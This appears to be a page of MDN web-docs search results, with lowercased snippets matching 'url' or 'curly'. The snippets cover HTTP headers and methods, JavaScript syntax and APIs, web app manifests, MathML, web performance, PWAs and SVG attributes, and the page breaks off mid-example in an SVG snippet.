dardized version of this header is the http forwarded header. header type request header forbidden header name no syntax x-forwarded-proto: <protocol> directives <protocol> the forwarded protocol (http or https). examples x-forwarded-proto: https other non-standard forms: # microsoft front-end-https: on x-forwarded-protocol: https x-forwarded-ssl: on x-
url-scheme: https specifications not part of any current specification. the standardized version of this header is forwarded. ...
HEAD - HTTP
the http head method requests the headers that would be returned if the head request's
url was instead requested with the http get method. for example, if a
url might produce a large download, a head request could read its content-length header to check the filesize without actually downloading the file. a response to a head method should not have a body. if it has one anyway, that body must be ignored: any entity headers that might describe the erroneous body are instead assumed to describe the response which a similar get request would have received. if the response to a head request shows that a cached
url response is now outdated, the cached copy is invalidated even if no get request was made. request has body no successful response has body no safe ...
An overview of HTTP - HTTP
le http request: requests consists of the following elements: an http method, usually a verb like get, post or a noun like options or head that defines the operation the client wants to perform. typically, a client wants to fetch a resource (using get) or post the value of an html form (using post), though more operations may be needed in other cases. the path of the resource to fetch; the
url of the resource stripped from elements that are obvious from the context, for example without the protocol (http://), the domain (here, developer.mozilla.org), or the tcp port (here, 80). the version of the http protocol. optional headers that convey additional information for the servers. or a body, for some methods like post, similar to those in responses, which contain the resource sent. ...
Protocol upgrade mechanism - HTTP
api, or any library that does websockets, most or all of this is done for you. for example, opening a websocket connection is as simple as: websocket = new websocket("ws://destination.server.ext", "optionalprotocol"); the websocket() constructor does all the work of creating an initial http/1.1 connection then handling the handshaking and upgrade process for you. you can also use the "wss://"
url scheme to open a secure websocket connection. if you need to create a websocket connection from scratch, you'll have to handle the handshaking process yourself. after creating the initial http/1.1 session, you need to request the upgrade by adding to a standard request the upgrade and connection headers, as follows: connection: upgrade upgrade: websocket websocket-specific headers the follow...
HTTP Public Key Pinning (HPKP) - HTTP
ertificate or key file. max-age the time, in seconds, that the browser should remember that this site is only to be accessed using one of the defined keys. includesubdomains optional if this optional parameter is specified, this rule applies to all of the site's subdomains as well. report-uri optional if this optional parameter is specified, pin validation failures are reported to the given
url. note: the current specification requires including a second pin for a backup key which isn't yet used in production. this allows for changing the server's public key without breaking accessibility for clients that have already noted the pins. this is important for example when the former key gets compromised. extracting the base64 encoded public key information note: while the example bel...
HTTP resources and specifications - HTTP
tf draft rfc 2145 use and interpretation of http version numbers informational rfc 6585 additional http status codes proposed standard rfc 7538 the hypertext transfer protocol status code 308 (permanent redirect) proposed standard rfc 7725 an http status code to report legal obstacles on the standard track rfc 2397 the "data"
url scheme proposed standard rfc 3986 uniform resource identifier (uri): generic syntax internet standard rfc 5988 web linking defines the link header proposed standard experimental spec hypertext transfer protocol (http) keep-alive header informational (expired) draft spec http client hints ietf draft rfc 7578 returning v...
201 Created - HTTP
the http 201 created success status response code indicates that the request has succeeded and has led to the creation of a resource. the new resource is effectively created before this response is sent back and the new resource is returned in the body of the message, its location being either the
url of the request, or the content of the location header. the common use case of this status code is as the result of a post request. status 201 created specifications specification title rfc 7231, section 6.3.2: 201 created hypertext transfer protocol (http/1.1): semantics and content ...
307 Temporary Redirect - HTTP
the method and the body of the original request are reused to perform the redirected request. in the cases where you want the method used to be changed to get, use 303 see other instead. this is useful when you want to give an answer to a put method that is not the uploaded resources, but a confirmation message (like "you successfully uploaded xyz"). the only difference between 307 and 302 is that 307 guarantees that the method and the body will not be changed when the redirected request is made. ...
431 Request Header Fields Too Large - HTTP
be used when the total size of request headers is too large, or when a single header field is too large. to help those running into this error, indicate which of the two is the problem in the response body — ideally, also include which headers are too large. ...
Control flow and error handling - JavaScript
ains exhaustive details about the statements in this chapter. the semicolon (;) character is used to separate statements in javascript code. any javascript expression is also a statement. see expressions and operators for complete information about expressions. block statement the most basic statement is a block statement, which is used to group statements. the block is delimited by a pair of c
urly brackets: { statement_1; statement_2; ⋮ statement_n; } example block statements are commonly used with control flow statements (if, for, while). while (x < 10) { x++; } here, { x++; } is the block statement. important: javascript before ecmascript2015 (6th edition) does not have block scope! in older javascript, variables introduced within a block are scoped to the containi...
Functions - JavaScript
cript functions to get to know the details. defining functions function declarations a function definition (also called a function declaration, or function statement) consists of the function keyword, followed by: the name of the function. a list of parameters to the function, enclosed in parentheses and separated by commas. the javascript statements that define the function, enclosed in c
urly brackets, {...}. for example, the following code defines a simple function named square: function square(number) { return number * number; } the function square takes one parameter, called number. the function consists of one statement that says to return the parameter of the function (that is, number) multiplied by itself. the statement return specifies the value returned by the function...
Grammar and types - JavaScript
igned (preceded by "+" or "-"). a floating-point literal must have at least one digit, and either a decimal point or "e" (or "e"). more succinctly, the syntax is: [(+|-)][digits].[digits][(e|e)[(+|-)]digits] for example: 3.1415926 -.123456789 -3.1e+12 .1e-23 object literals an object literal is a list of zero or more pairs of property names and associated values of an object, enclosed in c
urly braces ({}). do not use an object literal at the beginning of a statement! this will lead to an error (or not behave as you expect), because the { will be interpreted as the beginning of a block. the following is an example of an object literal. the first element of the car object defines a property, mycar, and assigns to it a new string, "saturn"; the second element, the getcar property, is...
Text formatting - JavaScript
the string. multi-line template literals template literals are string literals allowing embedded expressions. you can use multi-line strings and string interpolation features with them. template literals are enclosed by the back-tick (` `) (grave accent) character instead of double or single quotes. template literals can contain place holders. these are indicated by the dollar sign and c
urly braces (${expression}). multi-lines any new line characters inserted in the source are part of the template literal. using normal strings, you would have to use the following syntax in order to get multi-line strings: console.log('string text line 1\n\ string text line 2'); // "string text line 1 // string text line 2" to get the same effect with multi-line strings, you can now write: conso...
Using Promises - JavaScript
passing callbacks into a function. imagine a function, createaudiofileasync(), which asynchronously generates a sound file given a configuration record and two callback functions, one called if the audio file is successfully created, and the other called if an error occurs. ...
Working with objects - JavaScript
lue. for example, let's create an object named mycar and give it properties named make, model, and year as follows: var mycar = new object(); mycar.make = 'ford'; mycar.model = 'mustang'; mycar.year = 1969; the above example could also be written using an object initializer, which is a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in c
urly braces ({}): var mycar = { make: 'ford', model: 'mustang', year: 1969 }; unassigned properties of an object are undefined (and not null). mycar.color; // undefined properties of javascript objects can also be accessed or set using a bracket notation (for more details see property accessors). objects are sometimes called associative arrays, since each property is associated with ...
Classes - JavaScript
"rectangle" // named let rectangle = class rectangle2 { constructor(height, width) { this.height = height; this.width = width; } }; console.log(rectangle.name); // output: "rectangle2" note: class expressions are subject to the same hoisting restrictions as described in the class declarations section. class body and method definitions the body of a class is the part that is in c
urly brackets {}. this is where you define class members, such as methods or constructor. strict mode the body of a class is executed in strict mode, i.e., code written here is subject to stricter syntax for increased performance, some otherwise silent errors will be thrown, and certain keywords are reserved for future versions of ecmascript. constructor the constructor method is a special method...
SyntaxError: invalid regular expression flag "x" - JavaScript
y perform a "sticky" search that matches starting at the current position in the target string. see sticky examples there are only six valid regular expression flags. /foo/bar; // syntaxerror: invalid regular expression flag "b" did you intend to create a regular expression? an expression containing two slashes is interpreted as a regular expression literal. let obj = {
url: /docs/web }; // syntaxerror: invalid regular expression flag "w" or did you mean to create a string instead? add single or double quotes to create a string literal. let obj = {
url: '/docs/web' }; valid regular expression flags see the table above for the six valid regular expression flags that are allowed in javascript. /foo/g; /foo/gims; /foo/uy; ...
Warning: expression closures are deprecated - JavaScript
warning: expression closures are deprecated error type warning. javascript execution won't be halted. what went wrong? the non-standard expression closure syntax (shorthand function syntax) is deprecated and shouldn't be used anymore. this syntax will be removed entirely in bug 1083458 and scripts using it will throw a syntaxerror then. examples deprecated syntax expression closures omit c
urly braces or return statements from function declarations or from method definitions in objects. var x = function() 1; var obj = { count: function() 1 }; standard syntax to convert the non-standard expression closures syntax to standard ecmascript syntax, you can add c
urly braces and return statements. var x = function() { return 1; } var obj = { count: function() { return 1; } }; stan...
SyntaxError: missing } after property list - JavaScript
the javascript exception "missing } after property list" occurs when there is a mistake in the object initializer syntax somewhere. might be in fact a missing c
urly bracket, but could also be a missing comma. message syntaxerror: expected '}' (edge) syntaxerror: missing } after property list (firefox) error type syntaxerror what went wrong? there is a mistake in the object initializer syntax somewhere. might be in fact a missing c
urly bracket, but could also be a missing comma, for example. also check if any closing c
urly brackets or parenthesis are in the correct order. indenting or formatting the code a bit nicer might also help you to see through the jungle. examples forgotten comma oftentimes, there is a missing comma in your object initializer code: var obj = { a: 1, b: {...
Arrow function expressions - JavaScript
r function above can be written as the arrow function below elements.map((element) => { return element.length; }); // [8, 6, 7, 9] // when there is only one parameter, we can remove the surrounding parentheses elements.map(element => { return element.length; }); // [8, 6, 7, 9] // when the only statement in an arrow function is `return`, we can remove `return` and remove // the surrounding c
urly brackets elements.map(element => element.length); // [8, 6, 7, 9] // in this case, because we only need the length property, we can use destructuring parameter: // notice that the `length` corresponds to the property we want to get whereas the // obviously non-special `lengthfoobarx` is just the name of a variable which can be changed // to any valid variable name you want elements.map(({ lengt...
JSON.stringify() - JavaScript
script text, only using unicode escapes as \u2028 and \u2029. this recently changed: now both code points may appear literally in strings in json and javascript both. therefore, if compatibility with older javascript engines is required, it is perilous to directly substitute the string returned by json.stringify into a javascript string to be passed to eval or new function or as part of a jsonp
url, and the following utility can be used: function jsfriendlyjsonstringify (s) { return json.stringify(s). replace(/\u2028/g, '\\u2028'). replace(/\u2029/g, '\\u2029'); } var s = { a: string.fromcharcode(0x2028), b: string.fromcharcode(0x2029) }; try { eval('(' + json.stringify(s) + ')'); } catch (e) { console.log(e); // "syntaxerror: unterminated string litera...
JSON - JavaScript
ng to the specified value, optionally including only certain properties or replacing property values in a user-defined manner. by default, all instances of undefined are replaced with null, and other unsupported native data types are censored. the replacer option allows for specifying other behavior. examples example json { "browsers": { "firefox": { "name": "firefox", "pref_
url": "about:config", "releases": { "1": { "release_date": "2004-11-09", "status": "retired", "engine": "gecko", "engine_version": "1.7" } } } } } specifications specification ecmascript (ecma-262)the definition of 'json' in that specification. ...
Promise() constructor - JavaScript
h is typically an error object. const myfirstpromise = new promise((resolve, reject) => { // do something asynchronous which eventually calls either: // // resolve(somevalue) // fulfilled // or // reject("failure reason") // rejected }); making functions return a promise to provide a function with promise functionality, have it return a promise: function myasyncfunction(
url) { return new promise((resolve, reject) => { const xhr = new xmlhttprequest() xhr.open("get",
url) xhr.onload = () => resolve(xhr.responsetext) xhr.onerror = () => reject(xhr.statustext) xhr.send() }); } specifications specification ecmascript (ecma-262)the definition of 'promise constructor' in that specification. ...
RegExp - JavaScript
t) console.log(match[0]) // logs 'Образец' console.log(regex.lastindex) // logs '7' let match2 = regex.exec(text) console.log(match2[0]) // logs 'на' [did not log 'text'] console.log(regex.lastindex) // logs '15' // and so on the unicode property escapes feature introduces a solution, by allowing for a statement as simple as \p{scx=cyrl}. extracting sub-domain name from
url let
url = 'http://xxx.domain.com' console.log(/[^.]+/.exec(
url)[0].substr(7)) // logs 'xxx' instead of using regular expressions for parsing
urls, it is usually better to use the browsers built-in
url parser by using the
url api. specifications specification ecmascript (ecma-262)the definition of 'regexp' in that specification. ...
String - JavaScript
available html tags and attributes. string.prototype.anchor() <a name="name"> (hypertext target) string.prototype.big() <big> string.prototype.blink() <blink> string.prototype.bold() <b> string.prototype.fixed() <tt> string.prototype.fontcolor() <font color="color"> string.prototype.fontsize() <font size="size"> string.prototype.italics() <i> string.prototype.link() <a href="
url"> (link to
url) string.prototype.small() <small> string.prototype.strike() <strike> string.prototype.sub() <sub> string.prototype.sup() <sup> examples string conversion it's possible to use string as a more reliable tostring() alternative, as it works when used on null, undefined, and on symbols. for example: let outputstrings = [] for (let i = 0, n = inputvalues.length; i < n; ++i)...
decodeURI() - JavaScript
ceptions throws an urierror ("malformed uri sequence") exception when encodeduri contains invalid character sequences. description replaces each escape sequence in the encoded uri with the character that it represents, but does not decode escape sequences that could not have been introduced by encodeuri. the character “#” is not decoded from escape sequences. ...
decodeURIComponent() - JavaScript
ponent of a uniform resource identifier. return value a new string representing the decoded version of the given encoded uniform resource identifier (uri) component. exceptions throws an urierror ("malformed uri sequence") exception when used wrongly. description replaces each escape sequence in the encoded uri component with the character that it represents. examples decoding a cyrillic
url component decodeuricomponent('javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "javascript_шеллы" catching errors try { var a = decodeuricomponent('%e0%a4%a'); } catch(e) { console.error(e); } // urierror: malformed uri sequence decoding query parameters from a
url decodeuricomponent cannot be used directly to parse query parameters from a
url. it needs a bit of preparation. funct...
encodeURI() - JavaScript
s to encode a surrogate which is not part of a high-low pair, e.g., // high-low pair ok console.log(encodeuri('\ud800\udfff')); // lone high surrogate throws "urierror: malformed uri sequence" console.log(encodeuri('\ud800')); // lone low surrogate throws "urierror: malformed uri sequence" console.log(encodeuri('\udfff')); encoding for ipv6 if one wishes to follow the more recent rfc3986 for
urls, which makes square brackets reserved (for ipv6) and thus not encoded when forming something which could be part of a
url (such as a host), the following code snippet may help: function fixedencodeuri(str) { return encodeuri(str).replace(/%5b/g, '[').replace(/%5d/g, ']'); } specifications specification ecmascript (ecma-262)the definition of 'encodeuri' in that specif...
encodeURIComponent() - JavaScript
at may inadvertently be generated during data entry for special html entities or other characters that require encoding/decoding. for example, if a user writes "jack & jill", the text may get encoded as "jack & jill". without encodeuricomponent() the ampersand could be interpretted on the server as the start of a new field and jeopardize the integrity of the data. for application/x-www-form-
urlencoded, spaces are to be replaced by "+", so one may wish to follow a encodeuricomponent() replacement with an additional replacement of "%20" with "+". to be more stringent in adhering to rfc 3986 (which reserves !, ', (, ), and *), even though these characters have no formalized uri delimiting uses, the following can be safely used: function fixedencodeuricomponent(str) { return encodeurico...
escape() - JavaScript
sirable characteristics and in the absence of legacy usage would be removed from this specification. … … programmers should not use or assume the existence of these features and behaviours when writing new ecmascript code. … the escape() function computes a new string in which certain characters have been replaced by a hexadecimal escape sequence. note: this function was used mostly for
url queries (the part of a
url following ?)—not for escaping ordinary string literals, which use the format "\xhh". (hh are two hexadecimal digits, and the form \xhh\xhh is used for higher-plane unicode characters.) escaped characters in string literals can be expanded by replacing the \x with %, then using the decodeuricomponent() function. syntax escape(str) parameters str a string to be...
Pipeline operator (|>) - JavaScript
the experimental pipeline operator |> (currently at stage 1) pipes the value of an expression into a function. this allows the creation of chained function calls in a readable manner. the result is syntactic sugar in which a function call with a single argument can be written like this: let
url = "%21" |> decodeuri; the equivalent call in traditional syntax looks like this: let
url = decodeuri("%21"); syntax expression |> function the value of the specified expression is passed into the function as its sole parameter. parameters expression any valid expression. function any function. examples chaining function calls the pipeline operator can improve readability when chaining several functions. const double = (n) => n * 2; const increment = (n) => n + 1; // without pipeli...
empty - JavaScript
0] unintentional usage it is a good idea to comment intentional use of the empty statement, as it is not really obvious to distinguish from a normal semicolon. in the following example, the usage is probably not intentional: if (condition); // caution, this "if" does nothing! killtheuniverse() // so this always gets executed!!! in the next example, an if...else statement without c
urly braces ({}) is used. if three is true, nothing will happen, four does not matter, and also the launchrocket() function in the else case will not be executed. if (one) doone(); else if (two) dotwo(); else if (three) ; // nothing here else if (four) dofour(); else launchrocket(); specifications specification ecmascript (ecma-262)the definition of 'empty statement' i...
block - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax block statement { statementlist } labelled block statement labelidentifier: { statementlist } statementlist statements grouped within the block statement. ...
export - JavaScript
/my-module.js'; graph.options = { color:'blue', thickness:'3px' }; graph.draw(); console.log(cube(3)); // 27 console.log(foo); // 4.555806215962888 it is important to note the following: you need to include this script in your html with a <script> element of type="module", so that it gets recognised as a module and dealt with appropriately. you can't run js modules via a file://
url — you'll get cors errors. you need to run it via an http server. using the default export if we want to export a single value or to have a fallback value for your module, you could use a default export: // module "my-module.js" export default function cube(x) { return x * x * x; } then, in another script, it is straightforward to import the default export: import cube from './my-modul...
for await...of - JavaScript
tes an async iterable for a stream of data, then uses it to find the size of the response from the api. async function* streamasynciterable(stream) { const reader = stream.getreader(); try { while (true) { const { done, value } = await reader.read(); if (done) { return; } yield value; } } finally { reader.releaselock(); } } // fetches data from
url and calculates response size using the async generator. async function getresponsesize(
url) { const response = await fetch(
url); // will hold the size of the response, in bytes. let responsesize = 0; // the for-await-of loop. async iterates over each portion of the response. for await (const chunk of streamasynciterable(response.body)) { // incrementing the total response length. ...
Statements and declarations - JavaScript
gle statement may span multiple lines. multiple statements may occur on a single line if each statement is separated by a semicolon. this isn't a keyword, but a group of keywords. statements and declarations by category for an alphabetical listing see the sidebar on the left. control flow block a block statement is used to group zero or more statements. the block is delimited by a pair of c
urly brackets. break terminates the current loop, switch, or label statement and transfers program control to the statement following the terminated statement. continue terminates execution of the statements in the current iteration of the current or labeled loop, and continues execution of the loop with the next iteration. empty an empty statement is used to provide no statement, although the ...
Template literals (Template strings) - JavaScript
ns of the es2015 specification. syntax `string text` `string text line 1 string text line 2` `string text ${expression} string text` tag`string text ${expression} string text` description template literals are enclosed by the backtick (` `) (grave accent) character instead of double or single quotes. template literals can contain placeholders. these are indicated by the dollar sign and c
urly braces (${expression}). the expressions in the placeholders and the text between the backticks (` `) get passed to a function. the default function just concatenates the parts into a single string. if there is an expression preceding the template literal (tag here), this is called a tagged template. in that case, the tag expression (usually a function) gets called with the template literal, whi...
display - Web app manifests
he user and can range from browser (when the full browser window is shown) to fullscreen (when the app is full-screened). note: if the display member is not specified, it defaults to browser. note: you can selectively apply css to your app based on the display mode, using the display-mode media feature. this can be used to provide a consistent user experience between launching a site from an
url and launching it from a desktop icon. values the possible values are: display mode description fallback display mode fullscreen all of the available display area is used and no user agent chrome is shown. standalone standalone the application will look and feel like a standalone application. this can include the application having a different wind...
icons - Web app manifests
", "sizes": "48x48" }, { "src": "icon/hd_hi.ico", "sizes": "72x72 96x96 128x128 256x256" }, { "src": "icon/hd_hi.svg", "sizes": "72x72" } ] values image objects may contain the following values: member description sizes a string containing space-separated image dimensions. src the path to the image file. if src is a relative
url, the base
url will be the
url of the manifest. type a hint as to the media type of the image. the purpose of this member is to allow a user agent to quickly ignore images with media types it does not support. purpose defines the purpose of the image, for example if the image is intended to serve some special purpose in the context of the host os (i.e., for better inte...
serviceworker - Web app manifests
mandatory no the serviceworker member describes a service worker that the developer intends to install to control the pwa. examples "serviceworker": { "src": "./serviceworker.js", "scope": "/app", "type": "", "update_via_cache": "none" } values service worker contain the following values (only src is required): member description src the
url to download the service worker script from. this is the only required member of the serviceworker member. scope a string representing a
url that defines a service worker's registration scope; that is, what range of
urls a service worker can control. this is usually a relative
url, relative to the base
url of the application. by default, the scope value for a service worker registratio...
Authoring MathML - MathML
ird 31.0 / seamonkey 2.28), it was a bit tedious to setup math fonts, see the font instructions for mozilla 2.0. for gecko 31.0 (firefox 31.0 / thunderbird 31.0 / seamonkey 2.28), this is much simpler and is compatible with any web rendering engine with mathml support. for example, here is a minimal stylesheet to use latin modern for the text and latin modern math for the mathematics: @namespace
url('http://www.w3.org/1999/xhtml'); @namespace m
url('http://www.w3.org/1998/math/mathml'); body, m|mtext { font-family: latin modern; } m|math { font-family: latin modern math; } you can then use the @font-face rule as usual to provide woff fallback for latin modern and latin modern math. see this github repository to get woff fonts and sample css stylesheets to use on your web site and c...
<mglyph> - MathML
the mathml <mglyph> element is used to display non-standard symbols where existing unicode characters are not available. it may be used within token elements. attributes alt this attribute defines the alternative text describing the image. users will see this displayed if the image
url is wrong, the image is not in one of the supported formats, or until the image is downloaded. class, id, style provided for use with stylesheets. height the height of the image. href used to set a hyperlink to a specified uri. mathbackground the background color (if the image has transparency). you can use #rgb, #rrggbb and html color names. src the image
url. valign specifies the vertical alignment with respect to the current baseline. width the width of the image. examples <math> <mi>...
<mover> - MathML
d the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. examples sample rendering: rendering in your browser: x + y + z ⏞ <math> <mover accent="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> ⏞ <!--top c
urly bracket--> </mo> </mover> </math> specifications specification status comment mathml 3.0the definition of 'mover' in that specification. recommendation current specification mathml 2.0the definition of 'mover' in that specification. recommendation initial specification ...
<mroot> - MathML
mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color and also the color of the root symbol itself. you can use #rgb, #rrggbb and html color names. ...
<munder> - MathML
ckground color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. examples sample rendering: rendering in your browser: x + y + z ⏟ <math> <munder accentunder="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> ⏟ <!--bottom c
urly bracket--> </mo> </munder> </math> specifications specification status comment mathml 3.0the definition of 'munder' in that specification. recommendation current specification mathml 2.0the definition of 'munder' in that specification. recommendation initial specification ...
<semantics> - MathML
is set to one of the following: "application/mathml-presentation+xml" "mathml-presentation" "svg1.1" "text/html" "image/svg+xml" "application/xml". note that "application/mathml+xml" is not mentioned here as it does not distinguish between content or presentation mathml. attributes the following attributes can be set on <annotation> and <annotation-xml>: definition
url the location of the annotation key symbol. encoding the encoding of the semantic information in the annotation (e.g. "mathml-content", "mathml-presentation", "application/openmath+xml", "image/png") cd the content dictionary that contains the annotation key symbol. name the name of the annotation key symbol. src the location of an external source for semantic information. example <mat...
CSS and JavaScript animation performance - Web Performance
ame() callback, also triggered before the next repaint. if both animations are made in the main ui thread, there is no difference performance-wise. in this section we'll walk you through a performance test, using firefox, to see what animation method seems better overall. enabling fps tools before going through the example, please enable fps tools first to see the current frame rate: in the
url bar, enter about:config; click the i’ll be careful, i promise! button to enter the config screen. in the search bar, search for the layers.acceleration.draw-fps preference. double-click the entry to set the value to true. now you will be able to see three little purple boxes at the upper left corner of the firefox window. the first box represents fps. running the performance test ...
Performance fundamentals - Web Performance
se that maximally isolates the problem. that often helps in diagnosing problems. see if you can reproduce the problem by saving and loading a static copy of an html page (including any images/stylesheets/scripts it embeds). if so, edit the static files to remove any private information, then send them to others for help (submit a bugzilla report, for example, or host it on a server and share the
url). you should also share any profiling information you've collected using the tools listed above. ...
Populating the page: how browsers work - Web Performance
to handle user interactions. web performance can be improved by understanding the single-threaded nature of the browser and minimizing the main thread's responsibilities, where possible and appropriate, to ensure rendering is smooth and responses to interactions are immediate. navigation navigation is the first step in loading a web page. it occurs whenever a user requests a page by entering a
url into the address bar, clicking a link, submitting a form, as well as other actions. one of the goals of web performance is to minimize the amount of time a navigation takes to complete. in ideal conditions, this usually doesn't take too long, but latency and bandwidth are foes which can cause delays. dns lookup the first step of navigating to a web page is finding where the assets for that pag...
Performance budgets - Web Performance
scripts, and optimizations commonly provided by a cdn. the first step is to define a development baseline for each branch to compare to and the precision of the difference between development and production can be used as a goal towards better match the live environment. the lighthouse bot integrates with travis ci and can be used to gather lighthouse and webpage test metrics from a development
url. the bot will pass or fail based on the provided minimum scores. how do i enforce a performance budget? the sooner that you can identify a potential addition pushing the budget, the better you can analyze the current state of your site, and pinpoint optimizations or unnecessary code. however, you should have multiple budgets and be dynamic. they are meant to reflect your ongoing goals but allo...
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
lete the whole process. in the registration part, the code looks like this: if(subscription) { return subscription; } if the user has already subscribed, we then return the subscription object and move to the subscription part. if not, we initialize a new subscription: const response = await fetch('./vapidpublickey'); const vapidpublickey = await response.text(); const convertedvapidkey =
urlbase64touint8array(vapidpublickey); the app fetches the server's public key and converts the response to text; then it needs to be converted to a uint8array (to support chrome). to learn more about vapid keys you can read the sending vapid identified webpush notifications via mozilla’s push service blog post. the app can now use the pushmanager to subscribe the new user. there are two options ...
Mobile first - Progressive web apps (PWAs)
display: inline; } nav li a { border-right: 1px solid #ad66d5; border-bottom: none; display: inline-block; padding: 0 5px; font-size: 1.6em; } nav li:last-child a { border-right: none; } } @media (min-width: 600px) { html { background: #eee; height: 100%; } body { width: 600px; height: inherit; margin: 0 auto; background:
url(../img/firefox-os.png) bottom left no-repeat, linear-gradient(to bottom, #fff, #eee); } .main > p { background: rgba(255,255,255,0.3); } nav li a { padding: 0 10px; font-size: 2em; } } the first one cancels out the css display: table behaviour, hides the links to jump to and from the navigation, as they are not needed anymore in the wider layout, and changes the vertica...
Progressive web apps (PWAs)
ce worker is a script that allows intercepting and control of how a web browser handles its network requests and asset caching. with service workers, web developers can create reliably fast web pages and offline experiences. manifest file a json file that controls how your app appears to the user and ensures that progressive web apps are discoverable. it describes the name of the app, the start
url, icons, and all of the other details necessary to transform the website into an app-like format. pwa advantages pwas should be discoverable, installable, linkable, network independent, progressive, re-engageable, responsive, and safe. to find out more about what these mean, read progressive web app advantages. to find out how to implement pwas, read through our pwa developer guide. documenta...
begin - SVG: Scalable Vector Graphics
ve duration starts, the element identified by the href attribute is discarded. the behavior is the same as if node.removechild() were called on the parent of the target element with the target element as parameter. after removal of the target element, the <discard> element is no longer useful, therefore it is also discarded after the target element's removal. if the href attribute has an invalid
url reference (e.g. the target element did not exist), the <discard> element itself is still removed after the activation. seeking backwards in the timeline doesn't re-insert the discarded elements. so, authors are encouraged to set the playbackorder attribute to forwardonly when using the <discard> element. the <discard> element itself can be discarded prior to its activation, in which case it wil...
clipPathUnits - SVG: Scalable Vector Graphics
=".5" r=".35" /> </clippath> <!-- some reference rect to materialized to clip path --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> <rect id="r3" x="55" y="55" width="45" height="45" /> <rect id="r4" x="55" y="0" width="45" height="45" /> <!-- the first 3 rect are clipped with usespaceonuse units --> <use clip-path="
url(#myclip1)" xlink:href="#r1" fill="red" /> <use clip-path="
url(#myclip1)" xlink:href="#r2" fill="red" /> <use clip-path="
url(#myclip1)" xlink:href="#r3" fill="red" /> <!-- the last rect is clipped with objectboundingbox units --> <use clip-path="
url(#myclip2)" xlink:href="#r4" fill="red" /> </svg> clippath for <clippath>, clippathunits define the coordinate system in use for the cont...
color-rendering - SVG: Scalable Vector Graphics
th>, <tspan>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="
url(#gradient)" color-rendering="optimizequality" /> <text x="45" y="50%" color-rendering="optimizequality">quality-optimized</text> <circle cx="100" cy="100" r="100" color-rendering="optimizespeed" fill="
url(#gradient)" style="transform: translatex(240px);" /> <text x="290" y="50%" color-rendering="optimizespeed">speed-optimized</text> </svg> usage notes value auto | op...
diffuseConstant - SVG: Scalable Vector Graphics
g in="sourcegraphic" diffuseconstant="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" diffuseconstant="2"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter:
url(#diffuselighting1);" /> <rect x="0" y="0" width="200" height="200" style="filter:
url(#diffuselighting2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'diffuseconstant' in tha...
divisor - SVG: Scalable Vector Graphics
"0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="8"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:
url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:
url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes value <number> default value sum of all values in kernelmatrix or 1 if sum is 0 animatable yes <number> this value defines the...
exponent - SVG: Scalable Vector Graphics
<fefuncb type="gamma" exponent="1"/> </fecomponenttransfer> </filter> <filter id="componenttransfer2" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="gamma" exponent="5"/> <fefuncg type="gamma" exponent="5"/> <fefuncb type="gamma" exponent="5"/> </fecomponenttransfer> </filter> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient)" style="filter:
url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient)" style="filter:
url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <number> default value 1 animatable yes <number> if the type attribute of the component element is set to gamma,...
fill - SVG: Scalable Vector Graphics
--> <circle cx="250" cy="50" r="20"> <animate attributetype="xml" attributename="r" from="0" to="40" dur="5s" fill="freeze" /> </circle> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used. for <al...
filter - SVG: Scalable Vector Graphics
tation attribute, it can be applied to any element but it only has effect on container elements without the <defs> element, all graphics elements and the <use> element. html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <filter id="blur"> <fegaussianblur stddeviation="2" /> </filter> <rect x="10" y="10" width="80" height="80" filter="
url(#blur)" /> </svg> usage notes value none | <filter-function-list> default value none animatable yes for a description of the values see the css filter property. specifications specification status comment filter effects module level 1the definition of 'filter' in that specification. working draft extended the valu...
gradientTransform - SVG: Scalable Vector Graphics
radialgradient> <radialgradient id="gradient2" gradientunits="userspaceonuse" cx="100" cy="100" r="100" fx="100" fy="100" gradienttransform="skewx(20) translate(-35, 0)"> <stop offset="0%" stop-color="darkblue" /> <stop offset="50%" stop-color="skyblue" /> <stop offset="100%" stop-color="darkblue" /> </radialgradient> <rect x="0" y="0" width="200" height="200" fill="
url(#gradient1)" /> <rect x="0" y="0" width="200" height="200" fill="
